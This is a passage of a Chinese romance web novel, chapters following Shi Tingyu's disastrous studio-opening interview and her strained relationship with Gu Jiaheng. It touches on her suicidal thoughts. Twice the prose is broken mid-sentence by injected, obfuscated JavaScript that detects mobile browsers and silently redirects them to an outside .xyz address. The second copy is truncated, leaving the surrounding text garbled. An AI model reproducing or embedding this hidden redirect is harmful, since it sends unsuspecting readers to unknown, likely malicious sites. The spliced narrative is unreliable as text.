他拉着时听语回到客厅,让她在沙发坐好,自己跑去卧室拿了医药箱回来。 还好冲凉及时,手背目前还没有起泡,他从药箱里拿出烫伤膏,挤到手里一些,半跪在时听语身侧,将药膏轻轻抹到她被烫伤的手背上。 “最近医院的事情比较多,我就暂时不回来住了,大门密码是我的生日。” 顾嘉珩没有说具体的数字,但他知道时听语应该不会忘记。 “我知道了。” 上完药后他收好医药箱,拿着起身,朝客卧走了两步又顿住脚步回头:“早上那条加好友的信息是我发的。” 突然被顾嘉珩挑明,时听语还觉得有些尴尬,她点点头:“好,我一会就通过。” “有事给我发微信。” 他知道时听语不会找他,可还是没忍住对她嘱咐了一下。 大概还是抱了一丝希望,想看一下自己是不是在她心中分量不同。 因为只有陌生人才会这么客气,界限划得分明。 倘若是爱人,他会是你受委屈时第一时间想到的人。 * 时听语不知道顾嘉珩最近是真的很忙,还是借故不想见她,那天之后整整一个多星期,她都没有再见过他。 工作室开业的时间被定在了今天,孟砚舟已经提前跟各大媒体打了招呼。 知道时听语要回国发展的消息后,争相联系想要独家采访的各大媒体都快要打爆了孟砚舟的电话。 毕竟以时听语现在在国际上的知名度,哪家能拿到她回国后的首次独家专访,这无异于是向媒体圈内证明了自家实力。 孟砚舟对这件事情相当认真,因为这不仅关系着时听语的口碑声誉,更会影响她未来在国内的职业发展,马虎不得一点儿。 他综合评估了所有的媒体之后,最后将独家采访权给了宜淮电视台。 时听语不清楚顾嘉珩知不知道自己工作室今天开业,可思来想去,她出于礼貌还是给他发了一条微信消息。 但顾嘉珩并没有回。 她看着半天没有回复的聊天界面,只是淡淡笑了一下。也是,她又在期待什么呢? 时听语赶到工作室的时候,距离开业剪彩时间还早,但孟砚舟和顾书颜早就已经到了。 见到时听语,顾书颜上来给了她一个熊抱:“宝贝想死我了,咱们也有三个多月没见了。” “你这次回宜淮打算待多久?” 顾书颜有些无奈:“暂时不走了。” “出什么事了吗?”时听语了解她,她可不是一个能在同一个地方呆得住的人。 “没有,你今天大喜的日子,咱们不聊这些晦气的事情。” 顾书颜说完便拉着时听语走到墙边,那里靠着几幅包装完好的相框。 “这些是我这次淘回来的几件名家画作,送给你做开业礼物,你可以找合适的地方挂起来。” “Freya,你这礼物送的有点贵重了吧。” 虽然时听语还没见到画作的真正面目,但她还是相信顾书颜的眼光和出手的阔绰。 “那你之后的作品也免费送我一件呗。”顾书颜拍了拍时听语肩膀,“人我也见到了,礼也送到了,我一会儿还有应酬就先走了,过两天咱们约饭再好好聊。” 知道她有事要忙,时听语也没有多做挽留,刚送走顾书颜没多久,宜淮电视台的采访组就到了门口。 孟砚舟将他们领到一间安排好的房间先进行布置,随后带着其中一个工作人员去了另一间房。 化妆师正在房间里给时听语化妆做造型,工作人员也是先打了个招呼,然后又将调整了无数次的采访稿拿给她看。 大概是个新来的实习生,连说话的时候都还是怯生生的:“时老师您好,您叫我小胡就可以,这是我们的采访稿,您再过目一下,有什么问题的话我们可以再修改。” 时听语倒是很温柔地冲她笑了笑,大致翻着看了一下:“没什么问题的。” 孟砚舟不放心的又看了一遍,确认无误之后才让小胡回去准备。 从房间里出来,小胡跟一会儿要采访的记者撞了个正着。 “思恬姐,这是我们最终的采访稿,时老师那边都已经确认过了。” 陆思恬伸手接过稿子,眼睛却一直盯着房间内时听语的背影,目光深沉不可测。 前几天主任要安排她去采访的时候,她还一口回绝了,可当听说对方是时听语的时候,还以为自己听错了,直到看到了资料照片。 虽然过了这么多年,但她一辈子都忘不掉那张脸。 “知道了,我们回去准备吧。” * 吉时快到的时候,时听语才跟着孟砚舟下楼出去,外面已经来了好多记者。 时听语并不喜欢长篇大论,只是简单说了两句客套话,看着时间到了,她跟孟砚舟一起剪了彩,也算是图个开业好兆头。 剪彩完成之后时听语就回了楼上,只留下孟砚舟跟各位记者解释:“今天不是很方便接受大家采访,但是很感谢各位媒体朋友能来,我们之后还会有合作机会。” 等孟砚舟处理好楼下的记者们,上楼回到采访间,时听语早已经坐到了摄影机面前。 “3、2、1、开始。” 打板开机,只见陆思恬保持着镜头面前无懈可击的职业素养:“我们今天很高兴可以邀请到时听语小姐,时小姐您好,我是今天的采访记者小陆。” 时听语一直看着陆思恬,刚才见面就觉得她有一点眼熟,但一时又没有想起来在哪里见过。 “我们都知道您从出道就一直在国外发展,这次是什么原因促使您决定回国的呢?” 时听语抿了下唇,一字不差的按着稿子回答:“我之前作品的很多灵感都来自于我以前生活的地方,这次回来,也是想寻找一 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孟砚舟立刻转头跟摄像说了一句“别录了”,语气带着些许压抑不住的怒气,说完直接走上前一把拉起时听语,将她挡在自己的身后,他怕陆思恬下一秒会做出什么激进的事情。 但陆思恬只是冷眼瞧着一言不发的时听语,伸手缓缓从兜里掏出了自己的工牌,轻飘飘地扔到了桌子上。 时听语其实已经猜到了她是谁,怪不得刚才就觉得眼熟,她瞥了一眼桌上的工牌,上面清楚写着的“陆思恬”三个字烫的她眼睛有些发酸。 “你这样的人凭什么配得到大家的尊重与喜欢。” “你们电视台就是以这样的态度来进行独家专访的吗?”孟砚舟鲜见地动了怒,他看向周围一起来进行采访的人,“请你们赶紧离开,这件事情在没有得到妥善解决之前,如果今天发生的事情有一丁点儿的消息传出去,我跟我的律师都不介意跟你们奉陪到底。” 除了陆思恬,剩下的几个工作人员都还是资历较低的新人,碰上这种事也是第一次,早就被吓的不敢出声,见孟砚舟发话便快速收拾东西然后拉着陆思恬赶紧离开。 房间瞬间恢复安静,过去那些不好的记忆一起朝着时听语涌来,心脏被挤压的疼痛让她疼的喘不过来气,突然脚下一软,在要瘫倒在地上的瞬间一把被孟砚舟扶住。 她嘴唇微微颤抖,想要张嘴说什么却又好像被人扼住了喉咙,连一个字都发不出来,眼泪控制不住的流下来。 孟砚舟把人揽在怀里,手掌轻抚着她的背,声音温柔的跟刚才判若两人:“没事的听听,有我在呢,别害怕。” 时听语颤抖的双手紧紧攥着孟砚舟腰间的上衣,额头抵在他的胸膛上,任凭自己的泪水肆意流淌。 这些年,她真的已经在很努力地忘记有关时正德的一切,如果不是他,后面所有的事情都不会发生。 她恨时正德,恨到甚至可以跟他同归于尽,来结束这痛苦的日子。 她以为过了这么多年,当再次听到这个名字的时候或许可以更平静的接受。 可直到刚才面对陆思恬,她的一句话就可以轻而易举的将她拉回过去的阴影之中。 她果然还是做不到。 东西掉落在地上发出一阵沉闷的响声,孟砚舟侧头看向门口,顾嘉珩不知道什么时候来的,他的脚边还散落着一捧包装精美的花束。 顾嘉珩死死盯着抱在一起的两个人,下颌线条紧缩,漆黑的瞳仁中翻滚着浓烈的情绪,嘴角不禁勾起一抹冷笑。 “你们在干什么?” 11. 心疼 听到顾嘉珩的声音,时听语赶紧松开了攥着孟砚舟衣摆的手,她低垂着头背过身去,躲到了孟砚舟的身后。 “你怎么来了?”孟砚舟问。 “我不来的话,岂不是错过了你们的一场好戏。” 顾嘉珩伸腿随意地踢开了脚边的那束花,往里面朝着时听语的方向走去,孟砚舟拧着眉,上前一步挡住他。 孟砚舟一脸平静地看着顾嘉珩,但说出口的话却带着不容置喙的语气:“听听现在不能跟你走。” “你说的不算。” 顾嘉珩说完伸手就去拉身后站着的时听语,孟砚舟再也压制不住自己的怒气,他一把扯开顾嘉珩的手,反手给了他一拳。顾嘉珩没有防备,这结结实实的一拳打的他朝后踉跄了几步。 “听听,你先进去。”孟砚舟半推着时听语往另一个房间走,小声在她耳边说,“你的药在房间里。” 顾嘉珩一手扶着门框,另一只手的手背蹭了一下自己的嘴角,舌头顶了一下腮帮子,一股淡淡的血腥味在嘴里散开。 他没有还手,不是觉得自己打不过孟砚舟,只是不屑于跟他动手。 见时听语进去,孟砚舟才转过身盯着顾嘉珩:“我们谈谈吧。” 没有人能伤害时听语,哪怕那个人是顾嘉珩。 “我跟你有什么好谈的。”顾嘉珩一脸不屑,“人我今天必须要带走。” 孟砚舟伸手拦住顾嘉珩:“你想要什么我都可以给你,但唯独听听,不可能。” “你真以为我不敢跟你动手吗?”顾嘉珩上手拽住孟砚舟的衣领,双目充血变得异常狠戾吓人。 “够了。” 两人回头,时听语开了门从房间里出来,她表面看上去镇定自若,可只有孟砚舟看得出来她在强撑。 她走到顾嘉珩面前,小声说:“我们走吧。” “听听!” 时听语看向孟砚舟,扯出一个微笑安慰他:“你放心,我没事。” 顾嘉珩松开孟砚舟,唇角微勾,一副胜利者的姿态扫了一眼孟砚舟,拉着时听语转身离开。 本来顾嘉珩想借着带时听语去医院复查的理由来见她,但现在看起来好像也没了这个必要。 顾嘉珩一路开车回家,整个人都还没有从刚才的巨大冲击中清醒过来,也根本没有注意到一旁的时听语状态不对劲。 进门后他将脱下的外套直接扔到沙发上,转回头对着她没什么好气地说:“时听语,我请你认清自己现在的身份,我不干涉你的工作,但不代表我可以无视你跟孟砚舟之间的种种。” 时听语垂着头一言不发,她觉得自己现在好累,好像随时都可以倒下,她根本没有力气也不想去跟顾嘉珩吵架,只能解释道:“我们只是普通朋友。” “普通朋友抱在一起?”顾嘉珩嗤笑一声,“你要不要听听自己在说什么? “那我们呢?” 时听语猛然抬头,她看向顾嘉珩的眼神中充满了自嘲,她知道对方不会相信她说的话,可话既然说到了这里,那不如全都挑明。 “我们连普通朋友都不算吧,不还是……睡在一起了吗?” 顾嘉珩愣了几秒,随后额头鼓起一条条青筋,他冷笑着看着时听语重重点了几下头,一时间被她的话堵的都不知道说什么好。 “连普通朋友都不算?时听语,这么多年了你还是跟以前一样,玩弄别人的感情你排第二没人敢自称第一。” 话音落下,顾嘉珩一把从沙发上捞起自己的外套,头也不回的离开了家,身后的防盗门被他摔得震天响。 门被关上的那一刻,时听语就像泄了气的皮球,她整个人瘫倒在地上,眼泪再也忍不住的一起涌出。 心口传来一阵阵钻心般的疼痛,她狠狠掐着自己的胳膊,一遍遍哭着重复着刚才未能说出口的话。 “顾嘉珩,我没有,我真的没有……” 明明都已经吃过药了,可这次不知道为什么药效好像根本没有起任何作用。 时听语看着自己控制不住颤抖的双手,像以前一样,她很想结束这一切。 可仅剩的一丝理智一遍遍地告诉她自己,她不可以,这是顾嘉珩的家,他随时都会回来,不能让他看到这么糟糕的自己,也不能让他知道自己生病了。 黑夜再漫长,可天总会亮起,但她不知道还能不能迎来属于她的晨曦。 * 顾嘉珩怒气冲冲地回到车里,一脚油门就了踩下去,但车没有任何反应,他骂了一句“操”,一拳砸向了方向盘,被砸到的喇叭发出一阵刺耳的鸣笛声。 缓了两秒后他突然发现自己简直都被时听语气糊涂了,连车都没有启动。他轻笑一下,然后按了启动键,一脚油门开了出去。 顾嘉珩一路把车开的飞快,仪表盘上显示的速度在不断上升,但他也没有丝毫想要减速的意思,引擎一阵阵的轰鸣声都压抑不住他心底的那种闷气。 他脑海里不断重复着时听语刚说的那句话,“普通朋友都不算”这比看到他们俩抱在一起更戳人心窝子。 猛地一个急刹,轮胎跟地面摩擦出刺耳的响声,顾嘉珩把车停靠在了路边。 郊区本来人就不多,晚上更是连个人影都看不到,这空旷的路边就停了顾嘉珩一辆车倒是更显寂寞。 他从车里翻出一包烟,抽出一根点燃,摇下车窗,左手指尖夹着烟把半个胳膊搭在窗外,一根接一根地抽着。 顾嘉珩想不明白他到底比孟砚舟差在哪里,为什么时听语可以在孟砚舟面前流露自己的无助与伤心。 可他呢,哪怕是十年前,她都没有这样对自己过,更不要说现在的她,在自己面前就是一个没有任何情感的提线木偶。 他第一次开始怀疑自己,把她强硬留在身边是不是做错了,他可以把人留在身边,可她的心留不下。 昏暗的车内手机屏幕突然亮起,顾嘉珩没去管,他知道反正也不会是时时听语找他。 过了几秒手机又亮起,接连弹出消息,他垂眼瞥了一眼,还是伸手拿过手机点开了消息。 【简叙白:晚上有空?】 【简叙白:出来一起吃个饭。】 【简叙白:栀栀今晚也在,不如带上你的那位大家认识一下?】 看到是简叙白的消息,顾嘉珩大概扫了一眼,直接按灭手机扔到一旁,他叹了口气闭着眼整个人靠在椅背上,直到快燃尽的烟头烫到了他的手指,才睁开眼。 顾嘉珩不得不承认,简叙白在以退为进这方面确实有点能力,想到这他拿出手机回复了简叙白。 【顾嘉珩:地址发过来。】 很快简叙白就发来一个定位,他看了一眼位置,开车直奔那里。 到了定位的那家烧烤店,顾嘉珩刚一进门就看到了座位上的简叙白给自己招了招手。 “怎么就你一个人?”顾嘉珩拉开椅子坐下。 刚刚微信里简叙白明明说的是两个人,可现在只有他一个人在,不免让人联想。 简叙白回怼:“你不也是一个人?” 他太清楚顾嘉珩的小心思,故意开始炫耀:“栀栀的电视台临时有事,要晚来一会儿,让咱们先吃。” 本来看顾嘉珩一直没有回复消息,简叙白都没想着他会来,现在他一副臭脸的样子一个人来了,想都不用想就知道俩人又闹别扭了。 顾嘉珩斜睨了对面的人,一把拿过菜单,对着上面一顿勾选,嘴里还毫不客气地说着:“出门急,没带钱包,这顿你请。” 简叙白倒了一杯水推到顾嘉珩面前,笑着说:“就怕你吃不下。” “不过,酒就不能陪你喝了,一会儿我得开车带着我们家栀栀回家呢。” “跑这来跟我秀恩爱了?” 顾嘉珩说这话的时候后槽牙都快要咬碎了,他干脆将笔扔到一边,直接叫来了服务员,菜单递给人家,盯着满面春光的简叙白,幽幽地说:“菜单上所有的都来十份。” 服务员一脸惊讶,甚至都有些犹豫地接过菜单,怀疑的眼神看向对面的简叙白,直到对方朝她递过来一个肯定的眼神,才露出笑容转身去后厨准备。 “不好意思啊,我来晚了。” 服务员前脚刚离开,后脚苏知栀就提着包朝他们走过来。 简叙白起身拉开身旁的椅子,很自然地接过自己老婆的大衣和包,笑着回应:“不晚,我们也刚点完。” “电视台下午出了点事情,又紧急召集我们开会,听领导在那絮絮叨叨半天。” 她说完顿了一下,瞥了一眼对面冷着脸的顾嘉珩,犹豫着要不要当着他的面提。 “跟你的那位时小姐有点关系。” 顾嘉珩一直盯着自己的水杯,根本不想看一眼他们俩腻腻歪歪的样子,但听见提到了时听语的名字,他才突然抬眼看向苏知栀。 苏知栀没有注意到顾嘉珩的反应,继续说:“台里本来安排了一个关于时小姐的独家专访,派去的记者也算是台里有经验的老人了,但是不知道采访过程中发生了什么事情,她的经纪人发了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15420213|169002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好大的火。” “这不,时小姐的经纪人带着律师下午就一直待在主任办公室。”她撇撇嘴,“台里那些领导从上到下今天都在挨骂。” “采访能出什么事儿?”简叙白他之前也去过苏知栀的台里录节目,那套流程一般来说不会有什么问题。 坐在对面的顾嘉珩一直没说话,他虽然不喜欢孟砚舟这个人,但也清楚的知道,他绝不是一个无理取闹的人,加上今天撞见时听语在孟砚舟面前哭,傻子也能想到大概是发生了一些不好的事。 苏知栀也百思不得其解:“按理说这种采访的稿子都是提前跟对方确认好的,不应该出现惹恼对方的情况,但跟去采访的那些人大概是被通知了,嘴巴严的一个字都不透露,我们也猜不到发生了什么,只知道主任出来后把陆思恬叫进去骂了个狗血淋头。” “等等,你说什么?”顾嘉珩突然打断。 “去的人一个字都不给透露......” “不是这句,是下一句。” 顾嘉珩的语气有些着急,把苏知栀都问懵了,她犹豫着问:“主任把陆思恬骂了个狗血淋头?” 陆思恬,原来是这样。 顾嘉珩猛然起身,对着面前的两人开口:“你们俩吃吧,账单算我头上,我有急事回家一趟。” 回家的路上顾嘉珩简直要把油门都踩到底了,恨不得下一秒就立刻回去。 从苏知栀那里听到陆思恬这个名字的时候,他立刻就后悔了,是他没有了解清楚发生了什么事情就把气全部撒到时听语的身上。 没有人能比他更清楚陆思恬带给她的伤害,而他恰好又在那些伤口上给她撒了一把盐。 顾嘉珩把车停在家门口,连火都顾不上熄,直奔房子里。 开了门却发现屋内一片漆黑,他不确定家里是不是没有人,开灯后喊了一声:“听听?” 空荡荡的房子里无人回应,顾嘉珩轻叹口气,拿出手机给时听语打电话。几秒后,手机铃声从卧室里传来,顾嘉珩像是知道了什么猛然回头,他愣了一下,看向自己的手机,下一秒挂断电话径直走进卧室。 房间里也是漆黑一片,他下意识就要去开灯,可角落里传来的啜泣声使他的手僵在开关上。 那一刻,顾嘉珩觉得自己的心像是被什么利器狠狠地刺穿,鲜血淋漓。 他收回手,在黑暗中挪着步子小心翼翼地靠近时听语。 走到时听语面前,他单膝跪在她面前,时听语并没有抬头看他,只是紧紧环抱着自己,蜷缩在角落里整个身体都一直在颤抖。 顾嘉珩以为自己早就不在意了,可看到眼前的这一幕,心里还是暗暗地揪成了一团,疼的他慌了心神。 他什么都没说,只是伸手轻轻抱住了她。 她跟孟砚舟的事情,他是很生气,但生气归生气,他还是见不得她受委屈,就像高中的时候看到她被陆思恬欺负以后一样的心痛。 顾嘉珩从小就被顾诗情教育的很好,性格热情、乐于助人,对谁都充满了善意。 他一开始并没有意识到自己对时听语的不同,只是简单地认为他是在帮助同学,但每次看到她被欺负,心总会莫名的疼,这是对别人从来都不会有的状况。 顾嘉珩当时犹豫了很久,最后还是告诉了顾诗情这件事,妈妈听完只是笑笑,跟他说以后有机会把那个女孩子带回家来吃饭。 还语重心长的告诉他,要直面自己的内心,爱一个人的最高境界是心疼。 当你下意识的去心疼一个人的时候,毋庸置疑,那就是爱。 时听语一早就听到顾嘉珩回来了,但她没有勇气出去见他,她不想要再听到那些伤人的话。 可这次他走到她面前,什么都没说,只是抱住了她,她想要推开顾嘉珩,可伸过去的手不知道怎么就紧紧环上了他的腰,她抬起头把下巴抵上他的肩头。 这大概是唯一一次可以这样抱着他,时听语不想承认,可她贪恋这个怀抱,就像当初她拼命想要抓住顾嘉珩照在她身上的那束光。 她紧紧闭着眼,泪水不断从眼角溢出,顺着脸颊滴落在顾嘉珩肩头的白衬衣上,一滴又一滴,泪滴微凉,可却烫进了顾嘉珩的心里。 黑暗中,谁都没有说话,可紧紧贴在一起的身体却感受着属于彼此的心跳声。 顾嘉珩不知道她受了什么委屈,在她搂住自己的那一刹那,他的喉部似乎被什么异物堵住了,一个字都说不出来。 他知道她瞒了自己好多事情,以前是,现在也是。 12. 试探 顾嘉珩轻拍着时听语的背,像是在无声的安慰。 他什么都没有问,她不愿意说,即使问了也没用,仅仅是能够像现在这样,她可以毫无防备的在自己的怀里痛快的哭一场,他就已经很知足了。 时听语不知道自己哭了多久,脑海中一直紧绷的那根弦突然松下来整个人也变得越来越疲惫,她觉得自己的上下眼皮都已经开始打架了,最终还是抵挡不住完全闭上了眼睛。 顾嘉珩听着时听语不再继续啜泣,呼吸也渐渐平稳下来,他没有舍得叫醒她,只是小心翼翼地换了一个姿势,起身将她抱在怀里,轻轻放到了床上。 他坐在床边,伸手打开了床头的台灯,昏黄的光照亮时听语沉睡的脸,她的眉头微皱,脸上还留着未干的泪痕。 顾嘉珩伸过手,微凉的指背轻拭掉那些泪痕,他喃喃自语:“我到底该拿你怎么办呢?” 他不知道陆思恬到底跟她说了些什么,竟然在睡梦中她都还紧锁着眉头,身体没有一丝的放松。 忽然想到了什么,顾嘉珩拿出手机给简叙白发了一条消息。 【顾嘉珩:有件事需要拜托栀栀帮忙。】 过了几分钟,简叙白直接发来一张图片,顾嘉珩点开,竟然是晚上他们吃饭的账单,他仔细看了一眼,上面显示的还真是每样来了十份。 顾嘉珩一时间无语到不知道说什么好,回复了他一个“你是真狗”的表情包后,直接二话不说转了账。 对方秒收,然后很快发来一条语音。 【简叙白:说吧,帮什么忙?】 那语气就像是早就料到顾嘉珩会主动来找他一样,他这只老狐狸也是让顾嘉珩心服口服。 顾嘉珩低头看了一眼时听语,又将被子给她往上盖了盖,然后拿着手机起身出了卧室,去客厅给简叙白打电话。 有些事时听语不说,但不代表他知道了后什么都不做。 * 时听语早上醒来的时候脑袋还有些晕晕沉沉的,昨晚发生的一切现在想起来还跟做梦一样,尤其是她抱了顾嘉珩。 她看向自己身旁,床上并没有第二个人睡过的痕迹,一时间也开始怀疑那些温存的瞬间是不是都是自己的幻想。 时听语下床洗漱然后从卧室出来,正好撞上准备开门进来的顾嘉珩。 愣了一下,看来昨晚并不是梦。 “醒了?把粥喝了,然后我们出去。” 时听语抬眼问道:“去哪里?” 她现在根本摸不透顾嘉珩这个人,对她时好时坏,也不知道他下一秒会干出什么事情。 “去超市,家里没菜了。” 一起逛超市这件事如果是热恋中的小情侣,大概会是一件很暧昧的事情,可他们俩现在的关系,应该只剩下尴尬了。 “你今天不上班吗?”时听语试图找个好点的理由拒绝。 顾嘉珩只淡淡应了一句:“嗯。” 没有想到更好的理由,时听语只能乖乖去餐厅把粥喝完,然后换了衣服跟着顾嘉珩准备出门。 “外面下雨了吗?” 今天虽说没有太阳,可也并不是乌云密布,但时听语看到顾嘉珩从门口的柜橱里拿出来一把伞。 “天气预报有雨。” “哦。”时听语看到他只拿了一把伞,“那我也带一把吧。” “我着急出门。”顾嘉珩一把拉住时听语,“再说,你这小身板,我的伞够大。” 时听语觉得回房间拿把伞不会耽误太久,但也不愿意因为这点小事跟他再有什么争执,也没说什么就跟在他身后出了门。 超市离得并不远,走路十分钟就到了,一路上时听语都很刻意的跟顾嘉珩保持着距离,两个人也没有任何的交流。 进了超市,顾嘉珩顺手推了一辆购物车,时听语只是一味的跟在他身后,并没有很在意他买了什么东西。 算起来他俩在家的时间都不多,顾嘉珩她不了解,可自己几乎是不怎么做饭,以前不是孟砚舟给她做饭就是自己随便吃点什么就糊弄一下。 没多久购物车就已经被顾嘉珩堆满了,时听语扫了一眼,里面除了一些水果蔬菜,还有很多小零食。 她不禁看了一眼身边的男人,心里默默吐槽以前怎么不知道他还喜欢吃零食。 突然间包里的电话响起,时听语看到来电显示后下意识扣过手机,她跟顾嘉珩示意了一下,然后朝旁边走了几步才接通。 “砚舟哥。” “听听,你好些了吗?” “我没事了,昨天回去有点累就睡了,手机静音所以没有回复你的消息,害你担心了。” 一直到早上时听语才去看手机,孟砚舟昨天发了好多消息给她,她早上赶紧回复了之后一直没收到他的消息,她知道孟砚舟忙,也就没有放在心上。 孟砚舟继续说:“没事就好,一会儿有时间吗?来工作室我们商量一下昨天的事情。” “嗯,好,我一会儿就过去。” “那见面说。” 时听语挂掉电话,深呼吸了一下,才转身回到顾嘉珩那里。 顾嘉珩并没有问,这倒让她不知道要如何开口:“你东西都买好了吗?我有点事情要先走一下,昨天还有些工作没处理完。” 顾嘉珩侧头看向时听语,他知道是孟砚舟找她,公事对公事的话自然是他出面最好,更何况他知道孟砚舟是不会让时听语吃亏的,但不管怎么想就是心里不舒服。 “走吧,去结账。” 本来这些东西也不是买给他自己的,既然时听语都不在意,那他还有什么好逛的。 两人一起从超市出来,还真让顾嘉珩说对了,外面不知道什么时候下起了雨。 顾嘉珩将手里提的袋子放到地上,把手里的伞撑开,又拿起购物袋走到时听语旁边。 伞柄不经意间向她那边倾斜,他没有看她,只是一贯的漫不经心说着:“回去我开车送你过去。” “不用了。”时听语几乎是下意识的拒绝。 话出口,忽然又觉得自己的反应好像不太好,赶紧解释道:“我赶时间,我们走回去再开车就有点耽误了,我自己打车就好。” 顾嘉珩看着她没有说话,只是握在伞柄上的手不自觉的用力,指节都逐渐有些发白。 时听语见他没有反对,赶紧掏出手机打车,一顿操作之后,屏幕上显示司机还有十五分钟才能到。 顾嘉珩瞥了一眼手机,正好看到那个时间,他突然笑了一下:“你有这等司机的时间,我们说不定就已经出发了。” 说得倒是实话,时听语无力反驳,但她宁愿在这里多等几分钟。 时听语站在路边等车,顾嘉珩也一直没有走,就这么站在她身旁撑着伞陪她等车。 伞足够两个人用,可一半多的伞面还是全都罩在时听语的头上,而他自己的半个肩膀早已经被雨打湿。 时听语从来没有觉得这十五分钟这么漫长,简直是度秒如年。 好不容易等来车,她一溜烟地钻进车里,打开车窗刚要跟顾嘉珩说再见,只见他直接收了伞顺着窗户给她扔进来,然后什么也不说转头就走。 时听语在车里喊了他一声,可他连头也不回,就这么一头扎进了这漫天的大雨里。 司机师傅看这情景,也不知道该不该开车,试探着问了一句:“小姐,还走吗?” “走吧,师傅。”时听语收回视线,关上车窗,默默将伞收好。 时听语赶到工作室的时候,孟砚舟正在前台门口等着她,见她进来,赶紧伸手接过她的雨伞。 “等很久了吧?”时听语整理了一下头发,问向孟砚舟。 “还好,本来也有工作要处理。” 他带着时听语直接上楼进了办公室,从茶桌上倒了一杯刚刚泡好的茉莉花茶递给她:“趁热喝暖暖身子。” “谢谢。” 孟砚舟拿出一份合同放到时听语面前:“昨天我去跟他们台里交涉,他们主任竟然还想保那个人,说是会让她跟我们道歉,伤害已经存在道歉还有什么意义。” “那你想让他们怎么样?” “开除那个记者,我们的合同终止,而且对方要按照违约来赔偿我们的损失,当然这一切的前提是昨天的事情一个字都不会外传。” 时听语虽然现在不会像小时候一样再对陆思恬逆来顺受,可是还没有到想要她丢了工作的地步。 “一定要开除她吗?”她试探着问。 孟砚舟愣了一下,眼神中闪过一丝不敢置信:“听听,有些事不能心软。” “算了。”她不想再去想这些事情,“你看着处理吧。” “好。”孟砚舟收起那份合同,“对了,今天早上明澜集团的小宋总派秘书联系过我,他想约你聊一聊合作的事情。” “明澜集团?” 孟砚舟点点头:“我粗略百度了一下这家企业,董事长宋思明年轻的时候白手起家,创办的企业到现在在宜淮也算得上是数一数二的企业,是他的儿子找我们。” 以前时听语只跟艺廊或者拍卖行打过交道,直接跟商人谈合作还是第一次。 “他有说要合作什么吗?” “他秘书没有详细说,只是说是他们小宋总以个人名义想跟我们见面聊一聊合作的事情。”孟砚舟也并不是一个唯利是图的人,“我只说我们考虑一下回复,如果你不想跟他们打交道,我去回绝。” “那就见见吧。”时听语也知道国内不像国外,她想在这里发展,有些事情她避不开,更何况见面才知道对方的意图。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她将毯子轻轻盖在顾嘉珩的身上,正准备离开的时候目光恰好停留在他的脸上。他闭着眼躺在那里,不像往常,没有带有任何一点的攻击性。 说起来他们俩也算是同床共枕过,可是时听语没有哪一次能够像现在一样,能这样安静的看着他的脸。 情绪在心底作祟,她一时没忍住,伸过手指轻触上顾嘉珩的眉毛,他的眉依旧浓密的像用墨画就,不像她。 小时候总听老人们说眉毛清淡的人感情淡薄,她当初曾经以玩笑的口吻告诉顾嘉珩这件事,可他却用无比认真的眼神看着她回应。 “那我们俩正好互补,而且等以后我们上了同一所大学,我可以天天给你画眉。” 深情的人总是会被辜负,他们俩或许从一开始就注定了不会有好的结局。 一时的走神,时听语的手不小心抖了一下,面前闭着眼的人猛然睁开了眼,她想要收回手却一把被顾嘉珩抓住。 “我......我怕你睡在这里着凉。”时听语挣脱他收回手,连忙起身后退了两步,“困了就回房间里去睡吧。” 顾嘉珩缓了两秒,用手撑着沙发有些艰难地坐起来,他揉着自己的太阳穴,哑着嗓子开口:“你刚才是在觊觎我的美貌吗?” 一句话直接让时听语的耳朵烧了起来,她眼神闪躲不知道该怎么否认,丢下一句“我回房间了”转身就要离开。 腿都还没迈开就听见自己身后传来一阵闷声,时听语回头,只见顾嘉珩皱着眉一脸痛苦的神情。 他刚刚准备起身,可站起来后又觉得浑身无力栽回到沙发上,呼吸都比平常沉重了几分。 时听语快步走到他身边,伸出手摸上他的额头,很烫。 “你发烧了?” 突然一阵猛烈的咳嗽,他推开时听语的手:“淋着那么大的雨回来,家里又没人给我熬姜汤,我难道是铁打的身子?” “对不起。” 时听语的道歉脱口而出,可心里却觉得顾嘉珩这个人可真难伺候,伞明明是他硬塞给自己的,雨也是他要淋的,现在生病了反而来问她。 但看在他是病人的份上,时听语也不没他计较:“你还能自己走回卧室吗?” 顾嘉珩摇头。 行吧,反正她一个人是整不动他的,好在他们家的沙发也足够宽敞。 她强行把顾嘉珩按倒在沙发上,拿着毯子给他盖好:“我去给你找退烧药,吃了你再睡。” 顾嘉珩一直盯着时听语在他面前忙前忙后,在时听语的监督下,他老老实实吃完药,又被按着躺下的刹那突然伸手握住了她的手腕。 “时听语。” 不是幻觉,但又不那么真实。 “你是在担心我吗?” 13. 冲突(含入v公告) 时听语怔了一下,试图挣开他的手,眼前这个人生着病,但力气还不小。 “你放手。”她虽然嘴上没说什么,可心里却不这么想,今天就算是阿猫阿狗倒在她面前,她都不会坐视不管。 顾嘉珩眼底明显闪过一丝失望,他无奈扯了下唇苦笑了一下,松开了握着时听语的手。 “你好好休息,有事情的话叫我。” 看着时听语说完就回了房间,顾嘉珩只觉得这世上没人能比自己更可笑。 淋着雨回来后故意又去冲了一个凉水澡,还在阳台外面站了好久,终于是老天不负有心人把自己弄生病了,可时听语丝毫都不担心他,还把他一个人丢在客厅睡。 顾嘉珩越想越生气,情绪牵扯着胸腔,又是一阵猛烈的咳嗽。 他的目光一直盯着卧室的方向,自己都咳成这样了,但里面的人竟然无动于衷。 “烧死算了。”顾嘉珩像是闹小孩子脾气一样,直接一脚蹬开了身上盖的毯子,负气一般背过身躺下。 大概是吃的退烧药起了作用,他觉得自己的眼皮越来越沉,不知道什么时候睡着了。 等再睁眼的时候,自己竟然躺在卧室的床上。 